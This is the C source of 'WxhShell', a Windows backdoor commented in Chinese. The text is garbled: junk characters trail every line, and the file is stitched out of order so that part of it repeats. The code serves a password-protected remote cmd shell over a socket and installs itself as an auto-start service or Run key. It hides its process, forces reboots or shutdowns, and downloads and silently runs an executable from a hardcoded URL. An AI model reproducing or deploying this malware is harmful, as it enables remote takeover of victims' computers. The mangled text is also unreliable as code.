    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ak}`zIo  
    if(Boot(SHUTDOWN)) -" r4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Vmp6XY3q  
    else { cxPOO#  
    closesocket(wsh); f& Sovuuh  
    ExitThread(0); d7Cs a c  
    } e+ m(g  
    break; |@'K]$vZ*  
    } nF,zWr[x  
  // 获取shell OzTR#`oey  
  case 's': { ':=20V  
    CmdShell(wsh); T#H-GOY:  
    closesocket(wsh); /p}pdXS  
    ExitThread(0); hfvC-f97L  
    break; (@* %moo  
  } [KW)z#`*  
  // 退出 @RdNAP_6  
  case 'x': { |$GPJaNqa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BISH34  
    CloseIt(wsh); ( ~JtKSq%  
    break; XHJ/211  
    } TTo?BVBK  
  // 离开 .F\[AD 5  
  case 'q': { }h sR}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); W=n Hi\jLV  
    closesocket(wsh); ,o3`O|PiK  
    WSACleanup(); dL1{i,M  
    exit(1); ?'tFTh  
    break; Ga <=Di):  
        } {s2eOL5I|%  
  }  \5HVX/  
  } c11;(  
BY$L[U;@T  
  // 提示信息 a\p`J9Z@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _~y-?(46K  
} 0^d<@\  
  } zUWWXC%R  
,K.Wni#m  
  return; *M$$%G(4  
} ndvt $*  
ogdgLTi  
// shell模块句柄 K8v@)  
int CmdShell(SOCKET sock) pA\"Xe&  
{ ;_/!F}d  
STARTUPINFO si; v#5hK<9  
ZeroMemory(&si,sizeof(si)); P qa;fiJ)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :v E\r#hJ"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~x+&cA-0A2  
PROCESS_INFORMATION ProcessInfo; )qDV3   
char cmdline[]="cmd";  Q 6r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FJsM3|{2=d  
  return 0; 7lzmAih  
} t+Qx-sW  
LP?*RrM  
// 自身启动模式 a0`(* #P  
int StartFromService(void) 8`|Z9umW*  
{ byk9"QeY\  
typedef struct @M(+YCi:e@  
{ J2!)%mF$  
  DWORD ExitStatus; MX|@x~9W  
  DWORD PebBaseAddress; J c:j7}OOV  
  DWORD AffinityMask; h0-CTPQ7A  
  DWORD BasePriority; k !g%vx  
  ULONG UniqueProcessId; Z:VT%-  
  ULONG InheritedFromUniqueProcessId; j__l'?s  
}   PROCESS_BASIC_INFORMATION; cM=_i{c  
ql_,U8Jw  
PROCNTQSIP NtQueryInformationProcess; S6{y%K2y&  
CmtDfE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l0%7u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zy8D&7Ytf  
~AcjB(  
  HANDLE             hProcess; D!V*H?;U  
  PROCESS_BASIC_INFORMATION pbi; p<Vj<6.=?  
]!WD">d:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HQc^ybX5  
  if(NULL == hInst ) return 0; 7C~g?1  
+ $Lc'G+:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n-CFB:L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ol X otp8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); stq%Eg?  
Qt=OiKZ  
  if (!NtQueryInformationProcess) return 0; rKr\Qy+q  
uh3<%9#\k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _TVKvRh  
  if(!hProcess) return 0; ['aiNhlbt  
P2 z~U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S8;5|ya  
%}Z1KiRiX  
  CloseHandle(hProcess);  *,e `.  
vk3C&!M<a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 7Dz-xM_?  
if(hProcess==NULL) return 0; 69zMWuY  
i5czm?x  
HMODULE hMod; _[y<u})  
char procName[255]; nOU.=N v`  
unsigned long cbNeeded; 1*OZu.NdK  
;sY n=r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $6/CTQ  
et@<MU@ `  
  CloseHandle(hProcess); e^-CxHwA-  
'H'R6<z5  
if(strstr(procName,"services")) return 1; // 以服务启动 /Hyi/D{W  
dU|&- .rG  
  return 0; // 注册表启动 Pq3|O Z  
} _O`s;oc  
@}_Wl<kn  
// 主模块 g<Y N#  
int StartWxhshell(LPSTR lpCmdLine) qyR}|<F8*  
{ Di &XDW/  
  SOCKET wsl; Gg5+Ap D  
BOOL val=TRUE; 2@|,VN V6~  
  int port=0; X 3(*bj>P  
  struct sockaddr_in door; '~AR|8q?  
C]ef `5NR]  
  if(wscfg.ws_autoins) Install(); t+A9nvj)  
x\K,@  
port=atoi(lpCmdLine); 9+I /bl4  
?l^NKbw  
if(port<=0) port=wscfg.ws_port; \W"p<oo|H  
HEe_K!_  
  WSADATA data;  x]~&4fp  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U,Z7n H3_  
sQLjb8!7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %ZGG6Xgw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h|OWtf4  
  door.sin_family = AF_INET; #?7g_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .:B;%*  
  door.sin_port = htons(port); 1n~^@f#`  
E>bpq ^;r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LMI7Ih;  
closesocket(wsl); ]+T$ D  
return 1; F+ <Z%KuCu  
} FA}y"I'W  
O-qpB;|  
  if(listen(wsl,2) == INVALID_SOCKET) { P}"uC`036  
closesocket(wsl); !twYjOryH[  
return 1; _tpOVw4I  
} t/h,-x  
  Wxhshell(wsl); ?7A>|p?"  
  WSACleanup(); DJ|lel/'  
6T%5<I*&3s  
return 0; pg{cZ1/  
\hg%J/  
} N,4hh?  
>YR2h/S  
// 以NT服务方式启动 RhkTN'vO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gPIl:, d(  
{ %#E$wz  
DWORD   status = 0; K7wU tg  
  DWORD   specificError = 0xfffffff; I !O5+Er  
*s|'V+1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,91n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ku GaOO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Dw<bLSaW&  
  serviceStatus.dwWin32ExitCode     = 0; 3e)$<e  
  serviceStatus.dwServiceSpecificExitCode = 0; :}-izd)/j  
  serviceStatus.dwCheckPoint       = 0; y-mjfW`n  
  serviceStatus.dwWaitHint       = 0; 3)hQT-)  
uj+{ tc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^;wz+u4^l  
  if (hServiceStatusHandle==0) return; o^b5E=?>C  
Wjr^: d  
status = GetLastError(); w|61dB  
  if (status!=NO_ERROR) &.P G2f*  
{ JthU' "K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ' 1X^@]+6  
    serviceStatus.dwCheckPoint       = 0; @Y!B~  
    serviceStatus.dwWaitHint       = 0; 5-UrHbpCZ#  
    serviceStatus.dwWin32ExitCode     = status; (W?t'J^#  
    serviceStatus.dwServiceSpecificExitCode = specificError; g nw">H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9V>C %I  
    return; $Ww.^ym  
  } \=Od1i  
0rxGb} b*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yYdh+x  
  serviceStatus.dwCheckPoint       = 0; ~ /rKKc  
  serviceStatus.dwWaitHint       = 0; 8y;gs1d;A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vz evOS  
} o $'K}U  
?RS4oJz,5g  
// 处理NT服务事件,比如:启动、停止 QWE\Ud.q  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ok<,_yh  
{ tTT :r),}$  
switch(fdwControl) ~RV"_8`V9  
{ J+}z*/)|#  
case SERVICE_CONTROL_STOP: ,\N4tG1\  
  serviceStatus.dwWin32ExitCode = 0; ()5X<=i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; N_d{E/  
  serviceStatus.dwCheckPoint   = 0; ,P=.x%  
  serviceStatus.dwWaitHint     = 0; jwSPLq%  
  { q>.C5t'Qx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /4|_A {m{m  
  } p!DOc8a.\e  
  return; |XV`A)=f  
case SERVICE_CONTROL_PAUSE: w:x[ kA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; AuZISb%6  
  break; Wl }J=  
case SERVICE_CONTROL_CONTINUE: wCu!dxT|,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _%#Uh#7P$  
  break; }z qo<o  
case SERVICE_CONTROL_INTERROGATE: i*@ZIw  
  break; )Br#R:#  
}; r_kaS als  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7spZe"  
} 6C\WX(@4  
n3j_=(  
// 标准应用程序主函数 u"m TS&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ! Y&]Y G  
{ &.qLE  
2*a9mi  
// 获取操作系统版本 HE>V\+ AL  
OsIsNt=GetOsVer(); /IF?|71,m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~(B%E'  
q(A_k+NL  
  // 从命令行安装 {rn^  
  if(strpbrk(lpCmdLine,"iI")) Install(); AGKT*l.-  
.`(YCn?\  
  // 下载执行文件 [f}`reRlZ  
if(wscfg.ws_downexe) { Fk9]u^j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e wWw  
  WinExec(wscfg.ws_filenam,SW_HIDE); fzOh3FO+  
} W|"bV 6d3  
Ya(3Z_f+VZ  
if(!OsIsNt) { 2p4iir  
// 如果时win9x,隐藏进程并且设置为注册表启动 lJ,\^\q  
HideProc(); U@D\+T0  
StartWxhshell(lpCmdLine); ?*ZQ:jH  
} pG'?>]Rt4  
else Y0J:c?,  
  if(StartFromService()) c *<m.  
  // 以服务方式启动 %@|)&][hO  
  StartServiceCtrlDispatcher(DispatchTable); u:tcL-;U  
else oOaLD{g>  
  // 普通方式启动 J8ScKMUN2  
  StartWxhshell(lpCmdLine); 5evk_f  
)>"pm {g2  
return 0; J^S!GG'gb  
} _18Z]XtX  
qq3/K9 #y  
f( 5; Rf(  
] SLeWs  
=========================================== RLzqpE<rJ  
(ti!Y"e2  
+5 gX6V\  
Z9q4W:jyS  
Q7{{r&|t&  
J<4_<.o(a  
" E9Dy)f]#W  
eu~ u-}.  
#include <stdio.h> [9j,5d&m  
#include <string.h> 94|ZY}8|f  
#include <windows.h> O*!f%}  
#include <winsock2.h> l*huKSX}  
#include <winsvc.h> 2J%L%6z8~  
#include <urlmon.h> dLeos9M:  
G l2WbY  
#pragma comment (lib, "Ws2_32.lib") 9I$} =&"  
#pragma comment (lib, "urlmon.lib") BwGOn)KL  
D>ou,  
#define MAX_USER   100 // 最大客户端连接数 &4 #%xg  
#define BUF_SOCK   200 // sock buffer +nim47  
#define KEY_BUFF   255 // 输入 buffer *5?Qam3  
cIC/3g}]  
#define REBOOT     0   // 重启 j]` hy"  
#define SHUTDOWN   1   // 关机 Z;BEUtR c  
bj0<A  
#define DEF_PORT   5000 // 监听端口 A f!`7l-  
o|c&$)m  
#define REG_LEN     16   // 注册表键长度 *uP;rUY  
#define SVC_LEN     80   // NT服务名长度 %++S;#)~  
3Zs0W{OxU  
// 从dll定义API m7Ry FnR2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ktvs*.?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +JY8"a97>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +2}Ar<elP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L; A#N9  
l-!"   
// wxhshell配置信息 rj4Mq:pJ  
struct WSCFG { Pth4_]US  
  int ws_port;         // 监听端口 G`&P|xYg  
  char ws_passstr[REG_LEN]; // 口令 AE`UnlUSF  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ov4 [gHy&  
  char ws_regname[REG_LEN]; // 注册表键名 HZS.%+2  
  char ws_svcname[REG_LEN]; // 服务名 ~m0=YAlk?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =CS$c?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nD>X?yz2  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 6 OvH"/X4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hkV*UH{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b"`fS`@/MW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Zm|il9y4m  
,?Vxcr  
}; X7:Dw]t  
Z0D&ayzkh^  
// default Wxhshell configuration I")Ud?v0)  
struct WSCFG wscfg={DEF_PORT, Z=%u:K}[  
    "xuhuanlingzhe", q$IU!I4  
    1, t\!5$P  
    "Wxhshell", m7XN6zX  
    "Wxhshell", cXN0D\%`  
            "WxhShell Service", v<g#/X8  
    "Wrsky Windows CmdShell Service", z&um9rXR  
    "Please Input Your Password: ", mUR[;;l  
  1, Z/v )^VR  
  "http://www.wrsky.com/wxhshell.exe", |Xd& aQ  
  "Wxhshell.exe" @T.F/Pjhc  
    }; S"87 <o  
<Nc9F['&#  
// 消息定义模块 IF//bgk-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %$Q!'+YW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V/R@ =[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; //Xz  
char *msg_ws_ext="\n\rExit."; 36.mf_AM  
char *msg_ws_end="\n\rQuit."; YYkgm:[  
char *msg_ws_boot="\n\rReboot..."; -~lrv#5Q  
char *msg_ws_poff="\n\rShutdown..."; 2!{_x8,n  
char *msg_ws_down="\n\rSave to "; akHQ&+[j  
A^0-%Ygl  
char *msg_ws_err="\n\rErr!"; *]kE3  
char *msg_ws_ok="\n\rOK!"; `$3P@SO"  
 wJvk  
char ExeFile[MAX_PATH]; &qa16bz  
int nUser = 0; 5VfpeA `  
HANDLE handles[MAX_USER]; %VXIiu[  
int OsIsNt; `<Hc,D; p  
#}Ays#wA>?  
SERVICE_STATUS       serviceStatus; =Q|s[F  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I4c %>R  
y%YP  
// 函数声明 >Wpdq(o  
int Install(void); AJzm/,H  
int Uninstall(void); v57Kr ,  
int DownloadFile(char *sURL, SOCKET wsh); _qQo}|/q  
int Boot(int flag); 2fPMZ7Zd3  
void HideProc(void); ~$Z_#,|i?  
int GetOsVer(void); y>RqA *J  
int Wxhshell(SOCKET wsl); o9v9 bL+X  
void TalkWithClient(void *cs); z:{R4#(Q  
int CmdShell(SOCKET sock); icK U)  
int StartFromService(void); %u]>K(tU  
int StartWxhshell(LPSTR lpCmdLine); lw4#C`bx  
A {')  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q93V'[)F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _b=})**  
?/p."N:]H  
// 数据结构和表定义 b1ZHfe:  
SERVICE_TABLE_ENTRY DispatchTable[] = b|`  
{ YeF'r.Y  
{wscfg.ws_svcname, NTServiceMain}, %';DBozZ   
{NULL, NULL} `7',RUj|D  
}; MpJx>0j/J  
HsK5 2<  
// 自我安装 eA/}$.R  
int Install(void) A?c?(~9O  
{ Zt4 r_ 7  
  char svExeFile[MAX_PATH];  R"PO@v  
  HKEY key; ;Y(~'KF  
  strcpy(svExeFile,ExeFile); +T7FG_  
,k/<Nv;  
// 如果是win9x系统,修改注册表设为自启动 Je` w/Hl/U  
if(!OsIsNt) { a3(f\MM xE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V0:db  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k${F7I(Tb  
  RegCloseKey(key); ]PXpzruy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^EKf_w-v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2l4`h)_q  
  RegCloseKey(key); &44?k:  
  return 0; B&H [z  
    }  Qp>Q-+e0  
  } )i>T\B  
} VnMiZAHR  
else { gH/k}M7tA#  
Ga^k1TQq  
// 如果是NT以上系统,安装为系统服务 gJBk&SDgtP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6~q"#94  
if (schSCManager!=0) cNqw(\rr  
{ N&lKo}hk  
  SC_HANDLE schService = CreateService Ad`jV_z  
  ( <i1P~  
  schSCManager, <8/lHQ^\)  
  wscfg.ws_svcname, &,`P%a&k  
  wscfg.ws_svcdisp, k$ } 6Qd  
  SERVICE_ALL_ACCESS, J)Td'iT(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , zX/9^+p:  
  SERVICE_AUTO_START, KHXnB  
  SERVICE_ERROR_NORMAL, FKB)o7  
  svExeFile, .](s\6'  
  NULL, K?+ Rq  
  NULL, h9J  
  NULL, /-ky'S9  
  NULL, _u`W$EG L  
  NULL b%,`;hy{  
  ); T/C1x9=?  
  if (schService!=0) Zx]"2U#  
  { [HENk34  
  CloseServiceHandle(schService); ffYiu4$m  
  CloseServiceHandle(schSCManager); hY Nb9^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); VN8ao0^d;d  
  strcat(svExeFile,wscfg.ws_svcname); RA+k/2]y!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?Yp: h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [(N<E/m%B  
  RegCloseKey(key); `p%&c%*A  
  return 0; Wz7jB6AWA  
    } F 'U G p  
  } 3J}bI {3  
  CloseServiceHandle(schSCManager); w#,C{6  
} <[7.+{qfW  
} fm\IQqIK%  
Ol24A^  
return 1; 6^.<5SJ}  
} 9YpD\H`  
MLcc   
// 自我卸载 ZWSYh>"  
int Uninstall(void) ;HJ|)PN5L  
{ X@)5F 9  
  HKEY key; v }ZQC8wL  
9_F2nmEv  
if(!OsIsNt) { ``}EbOMG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dw^d!%Ala  
  RegDeleteValue(key,wscfg.ws_regname); rr# &0`]  
  RegCloseKey(key); }4kd=]Nk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \5Jpr'mY5  
  RegDeleteValue(key,wscfg.ws_regname); ;%AK< RT  
  RegCloseKey(key); :d-+Z%Y  
  return 0; yla&/K;|*  
  } ^l6q  
}  `' 5(4j  
} _*+ 7*vAL  
else { gYx|Na,+  
nmVL%66K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); iP;X8'< BC  
if (schSCManager!=0) <ok/2v  
{ =LS?:Mhm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ^e>`ob  
  if (schService!=0) 0*q&)  
  { O s@ d&wm  
  if(DeleteService(schService)!=0) { [|\~-6"7N|  
  CloseServiceHandle(schService); >9(lFh0P  
  CloseServiceHandle(schSCManager); ]z,W1Zs?  
  return 0; d:6?miMH]t  
  } B8:_yAv o  
  CloseServiceHandle(schService); g&H6~ +\  
  } e/E fWwqt  
  CloseServiceHandle(schSCManager); G_g~-[O  
} 3ADT Yt".  
} INsc!xOQ  
*?K3jy{  
return 1; _ pM&Ya  
} 2;NIUMAMM  
O/>$kG%ge  
// 从指定url下载文件 AW4N#gt8',  
int DownloadFile(char *sURL, SOCKET wsh) H~1*`m  
{ h&||Ql1  
  HRESULT hr; P7(+{d{  
char seps[]= "/"; 16[>af0<g  
char *token; RZ9vQ\X U)  
char *file; Hm4:m$=p4  
char myURL[MAX_PATH]; HiEXw}Hkz  
char myFILE[MAX_PATH]; RX%*:lXi_  
b;O]@kBB  
strcpy(myURL,sURL); k`6T% [D]  
  token=strtok(myURL,seps); [XjJsk,  
  while(token!=NULL) -@-cG\{  
  { dy;Ue5  
    file=token; Zi[@xG8dm  
  token=strtok(NULL,seps); h*{{_3,  
  } n|Vs27  
*[(O&L&0  
GetCurrentDirectory(MAX_PATH,myFILE); -kxNJ Gc?  
strcat(myFILE, "\\"); sXkWs2!  
strcat(myFILE, file); UHF.R>Ry  
  send(wsh,myFILE,strlen(myFILE),0); `UL #g![J  
send(wsh,"...",3,0); P*XLm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B@` 87  
  if(hr==S_OK) Glcl7f"<^  
return 0; V}=9S@$o  
else .@Z qCH  
return 1; f@T/^|`mh  
7OYNH0EH  
} k!b\qS~Q  
Z!60n{T79c  
// 系统电源模块 Xy:'f".M~\  
int Boot(int flag) ge9j:S{  
{ 2Otd  
  HANDLE hToken; *fso6j#%  
  TOKEN_PRIVILEGES tkp; tzJdUZJ  
"]Wrir?l  
  if(OsIsNt) { : I28Zi*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tbF>"?FY/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -z./6dQ  
    tkp.PrivilegeCount = 1; Wc ]BQn  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U0q{8 "Pl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;ajCnSmR  
if(flag==REBOOT) { FA<|V!a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k`U")lv  
  return 0; /UTeaM!?"  
} Lz's!b  
else { $Mm=5 K%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mk8xNpk B  
  return 0; xV[X#.3  
} im|( 4 f  
  } q%%8oaEI  
  else { j}3Avu%  
if(flag==REBOOT) { m.e+S,i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S#6{4x4  
  return 0; :0x,%V74_!  
} O|=5+X  
else { KWbnSL8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rXc-V},az8  
  return 0; F]DRT6)  
} t+7h(?8L  
} ;= ^kTb`X  
'g.9 goQ  
return 1; *F0O*n*7W  
} |VxEW U/  
/~[+'  
// win9x进程隐藏模块 'NHtCs=F   
void HideProc(void) 6x|"1 G{  
{ 5S`_q&  
/8(c^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m}&cXY  
  if ( hKernel != NULL ) \^a(B{   
  { |& OW_*l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5Z"IM8?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @v{lH&K:;  
    FreeLibrary(hKernel); zmd,uhNc:  
  } ATx6YP@7~  
3SI:su  
return; };;\&#  
} @a-u_|3q  
nF$n[:  
// 获取操作系统版本 X,-QxV=lc)  
int GetOsVer(void) bW03m_<M<1  
{ rP$vZ^/c  
  OSVERSIONINFO winfo; {p3VHd#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); n[DQ5l  
  GetVersionEx(&winfo); ,Vb;2  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '](4g/%  
  return 1; ?^y%UIzf  
  else _ nFsC  
  return 0; GjTj..G/  
} OSP#FjH  
qkQ _#  
// 客户端句柄模块 nADt8  
int Wxhshell(SOCKET wsl) T.ZPpxY  
{ { a2Y7\C/  
  SOCKET wsh; S}fU2Wi  
  struct sockaddr_in client; ttQX3rmF01  
  DWORD myID; X^204K%:  
]MI> "hn  
  while(nUser<MAX_USER) X( Q*(_  
{ fpMnA  
  int nSize=sizeof(client); j5hM |\]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5vxKkk&i4l  
  if(wsh==INVALID_SOCKET) return 1; p1}Y|m!  
_`RzPIS^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); e| AA7  
if(handles[nUser]==0) dFdll3bC  
  closesocket(wsh); @q=l H *=  
else [s1Hd~$  
  nUser++; 1|K>V;C  
  } .-kqt^Gc  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E>_?9~8Mf  
9a.r(W[9  
  return 0; !: e0cV  
} -I, _{3.S  
,.# SEv5  
// 关闭 socket C):RE<X  
void CloseIt(SOCKET wsh) g4n& k  
{ sOyWsXd+R'  
closesocket(wsh); ONx|c'0g  
nUser--; iU)-YFO  
ExitThread(0); p(2j7W-/  
} 3F%Q q7v  
$}[Tj0+:  
// 客户端请求句柄 $Cu/!GA4.>  
void TalkWithClient(void *cs) ^RN1?dXA  
{ jgiP2k[Xom  
4SG22$7W  
  SOCKET wsh=(SOCKET)cs; id^U%4J  
  char pwd[SVC_LEN]; eYL7G-3  
  char cmd[KEY_BUFF]; ^V^In-[!y:  
char chr[1]; ^$][ah  
int i,j; Q]*YIb~D  
NJYx.TL  
  while (nUser < MAX_USER) { lYd#pNN  
r#{r]q_E*  
if(wscfg.ws_passstr) { {$iJYS\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D3^[OHi~a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q9K+k*?{N  
  //ZeroMemory(pwd,KEY_BUFF); ':,6s  
      i=0; ~A8%[.({5  
  while(i<SVC_LEN) { MDkIaz\U  
>Kl78w:  
  // 设置超时 .?SClTqg  
  fd_set FdRead; t\2myR3  
  struct timeval TimeOut; D#%J||  
  FD_ZERO(&FdRead); >J=x";,D|~  
  FD_SET(wsh,&FdRead); @S~'m;  
  TimeOut.tv_sec=8; i_GE9A=h  
  TimeOut.tv_usec=0; ;{|a~e?Y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #SY8Zv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); AK<ZP?0  
u)P$xkf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hMJ \a  
  pwd=chr[0]; ;U<) $5  
  if(chr[0]==0xd || chr[0]==0xa) { RCt)qh+  
  pwd=0; DT&[W<oN  
  break; Fga9  
  } NrvS/ cI!t  
  i++; \3q{E",\>@  
    } |PN-,f{-  
6\86E$f=h  
  // 如果是非法用户,关闭 socket 4\(;}M-R{  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %9mCgHQ9  
} qn@Qd9Sf  
*DkA$Eu3u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lGB7(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :kZ2N67  
p)ZlQ.d#Y  
while(1) { oW]&]*>J  
| 7>1)  
  ZeroMemory(cmd,KEY_BUFF); MbnV5b:X  
hl~(&D1^  
      // 自动支持客户端 telnet标准   u\qyh9s  
  j=0; tBBN62^ X  
  while(j<KEY_BUFF) { mS~3QV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e;3$7$n Pv  
  cmd[j]=chr[0]; j<deTK;.  
  if(chr[0]==0xa || chr[0]==0xd) { any\}   
  cmd[j]=0; N 5/TV%u  
  break; Q\=u2}/z0  
  } |r-<t  
  j++; qUtVqS  
    } 6}NvVolr  
qC\$>QU}  
  // 下载文件 4 d]  
  if(strstr(cmd,"http://")) { s* 9tWSd  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); bf;IJ|v^  
  if(DownloadFile(cmd,wsh)) 66L*6O4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @oRYQ|.R  
  else 3SIB #"9  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6AQ;P  
  } M2xUs  
  else { mOXI"q]p  
 Mx r#  
